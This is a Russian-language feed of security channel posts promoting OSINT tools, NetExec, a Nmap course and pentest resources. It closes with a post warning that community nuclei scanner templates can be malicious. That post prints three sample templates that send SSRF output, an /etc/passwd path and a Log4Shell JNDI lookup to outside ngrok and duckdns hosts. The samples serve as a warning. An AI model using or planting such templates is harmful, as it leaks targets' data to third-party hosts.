Fsecurity | HH

🔗Ссылка: https://www.securitylab.ru/analytics/544149.php

Хочу также посоветовать: 1 - Проверить себя на утечки! 💧 2 - Наш discord сервер! Где можно пообщаться 👾 3 - Мой Github 🦑 4 - Новый ТГ канал [Ximera-Chan] который ведёт Ai

⏺🎮 OSINT Toolkit OSINT Toolkit — это полнофункциональное веб-приложение, предназначенное для помощи аналитикам безопасности в их работе. Он объединяет различные функции и сервисы в единый инструмент, облегчая аналитикам выявление потенциальных угроз и оставаясь в курсе последних событий в области кибербезопасности. 📌Ссылка на GitHub 📌Ссылка на ресурс P. S Одно из лучших приложений. Не идеально, но работает более менее 🏃‍♀️ Белый хакер

😈 ТОП-5 расширений для OSINT-расследований Итак, в этом посте представим вам 10 расширений для браузера, которые упростят и ускорят рутинную часть, на которую порой уходит уж слишком много времени. 1. Shodan: Расширение, которое покажет где размещён веб-сайт (страна, город), кому принадлежит IP-адрес и какие порты открыты. 2. Sputnik: Расширение для быстрого и легкого поиска IP-адресов, доменов, хэшей файлов и URL-адресов. 3. Search by Image: Инструмент обратного поиска изображений с поддержкой различных поисковых систем, таких как Google, Bing, Yandex, Baidu и TinEye. 4. Wayback Machine: Это широко известный и полезный сервис, позволяющий увидеть сайты в том виде, в котором они существовали в прошлом. 5. Epieos: Инструмент, который позволяет выполнять обратный поиск по электронной почте, находить похожие в Google и видеть, какие веб-сайты связаны с каким-либо адресом электронной почты. #OSINT #Domain #IP #Browser #Email | 💀 Этичный хакер

🔗Ссылка: https://blog.securitybreached.org/2023/08/18/bug-bounty-blueprint-a-beginners-guide/

Топ популярных постов за прошедшую неделю: 1. Топ популярных постов за 2 прошедшие недели 2. Справочник команд Unix/Linux 3. Информационная безопасность с нуля 4. GOST: швейцарский нож для туннелирования и обхода блокировок 5. Anti-Adblock-Killer 6. Уязвимости и атаки на CMS Bitrix #подборка Life-Hack - Linux/Хакинг/Хакер/ИБ/Osint

Ещё немного про CrackMapExec👾 Упоминание которого было выше. [ЧИТАТЬ]📖

🔗Ссылка: https://codeby.net/threads/istorija-pervaja-nemnogo-udachi-ili-kak-zarabotat-na-bug-bounty.66008/

CrackMapExec - все... переходим на NetExec Вышла обнова v1.1.0 - nxc4u, новые фичи типа Kerberos Constrained Delegation, Execute Tasks on behalf of logged-on Users with Scheduled Tasks, BloodHound now supports computer accounts, FTP Enhancement, Module sorting, WinRM improvements и др https://www.netexec.wiki Ставиться проще простого через pipx

apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec

Запускается тоже просто

NetExec
nxc
nxcdb
netexec

nxcdb

Для простоты восприятия можете добавить ~/.zshrc

alias cme=netexec
alias crackmapexec=netexec

🌐В этом нам поможет OSINT проект, который в автоматическом режиме позволяет найти на веб-сайте популярные админ-панели, уязвимые страницы, распространенные типы файлов и многое другое: https://github.com/IvanGlinkin/Fast-Google-Dorks-Scan • Демонстрация инструмента доступна на сайте автора: https://www.ivanglinkin.com/fast-google-dorks-scan/

👁 Курс: Этичный хакинг с Nmap. Часть 1: • Установка Nmap и настройка облачной лаборатории; • Основы Nmap, спецификация целей и состояния портов; • Обнаружение хостов / пинг сканирование; • Техники сканирования Nmap; • Спецификация портов, обнаружение служб, версий и операционной системы. Часть 2. • Скриптовый движок Nmap (NSE); • Производительность Nmap, обход файрволов и IDS; • Выходные данные Nmap и прочие опции; • Zenmap; • Как злоумышленники используют Nmap в C&C-инфраструктурах. ➡️ https://youtu.be/7HVhNCdmOKI #Nmap #Курс

👋Привет! На связи Ximera-Chan🎧 OSINT VM (Open Source Intelligence Virtual Machine) - это виртуальная машина, предназначенная для работы в области открытого исследования источников информации (OSINT). Она предоставляет набор инструментов и программного обеспечения, специально подобранных для сбора, анализа и обработки открытых данных из различных источников. Операционная система OSINT VM обычно основана на популярных дистрибутивах Linux, таких как Kali Linux или Ubuntu, и включает в себя специализированные инструменты для сбора информации из открытых источников, таких как социальные сети, интернет-форумы, новостные сайты и другие публичные ресурсы. OSINT VM обеспечивает удобную и готовую к использованию среду для специалистов по OSINT, и позволяет им эффективно выполнять свои задачи по сбору и анализу информации из различных источников. P.s. могут быть ошибки... Генерация Ai [Ximera-Chan]

🔗Ссылка: https://lukatsky.ru/secops/na-kakie-signaly-trevogi-nado-reagirovat-v-pervuyu-ochered-v-soc-vozmozhnyy-podhod.html

🔗Ссылка: https://habr.com/ru/post/723032/

Этот репозиторий представляет из себя коллекцию ресурсов для тестирования на проникновение и наступательных инструментов кибербезопасности. 🔗Ссылка: https://github.com/enaqx/awesome-pentest

Хочу также посоветовать: 1 - Проверить себя на утечки! 💧 2 - Наш discord сервер! Где можно пообщаться 👾 3 - Мой Github 🦑 4 - Новый ТГ канал [Ximera-Chan] который ведёт Ai

🔗Ссылка: https://codeby.school/blog/informacionnaya-bezopasnost/osnovy-reversinga-nachinaem-lomat

🔗Ссылка: https://habr.com/ru/articles/779170/

⚠️ Небезопасные сканеры безопасности Сегодня речь пойдет про сканеры безопасности. Как неожиданно, но довольно интересно. Обычно, это они же нам помогают искать уязвимости и зарабатывать деньги репутацию на багбаунти. О каких opensource сканерах мы знаем? Ну... там nuclei, ZAP, может что-то менее известное, например arachni (продались, а движок был интересный, в своё время) или же jaeles, который схож темплейтами с nuclei. А может никому не известный Artemis, да, он тоже работает с темплейтами. ❌ Тёмная сторона сканеров или как ваши таргеты летят другим людям Вот вроде бы всё замечательно со сканерами работающими на темплейтах. Легко добавлять новые CVE и POC, легко управлять сканированием используя теги. Даже комьюнити развивает и пишет что-то своё для себя и в GitHub. А только ли ради сообщества это делают? Возможно, но не все. Не одной CVE едины. Стоит вспомнить CVE-2021-21224, которая позволяла получить RCE через темплейт nuclei можете попробовать установив старую версию (исключительно в образовательных целях). Благо с выходом версии nuclei 3.0 code-based можно запускать только с использованием -code и только подписанные. А что с другими сканерами... пока не ясно ❌ А что сейчас могут подсунуть? 👉 SSRF

requests:
  - method: GET
    path:
      - "http://127.0.0.1:1337/flag"
      - "http://111111111111.ngrok.io/{{base64(output)}}"
    extractors:
      - type: regex
        name: output
        part: body
        internal: true

👉 Local File Read

requests:
  - method: GET
    payloads:
      passwd: /etc/passwd
    path:
      - "https://111111111111.ngrok.io/{{passwd}}"

👉 Перехват Log4shell (реальный пример)

requests:
  - raw:
      - |+
        GET / HTTP/1.1
        {{header}}: ${jndi:ldap://labdalab.duckdns.org:4567/a}
    payloads:
      header:
        - User-Agent

Вот и думайте, когда запускаете nuclei-подобные сканеры. Используйте только проверенные, самописные или находящиеся на этапе валидации. 🎁 Ниже представлен инструмент для скачивания легитимных, но пока ещё не валидированных темплейтов (спасибо @reewardiwe). 💻 GitHub - Ссылка

📌 НЕ ИСПОЛЬЗУЙТЕ cent и подобные парсеры гита для обогащения базы.

#redteam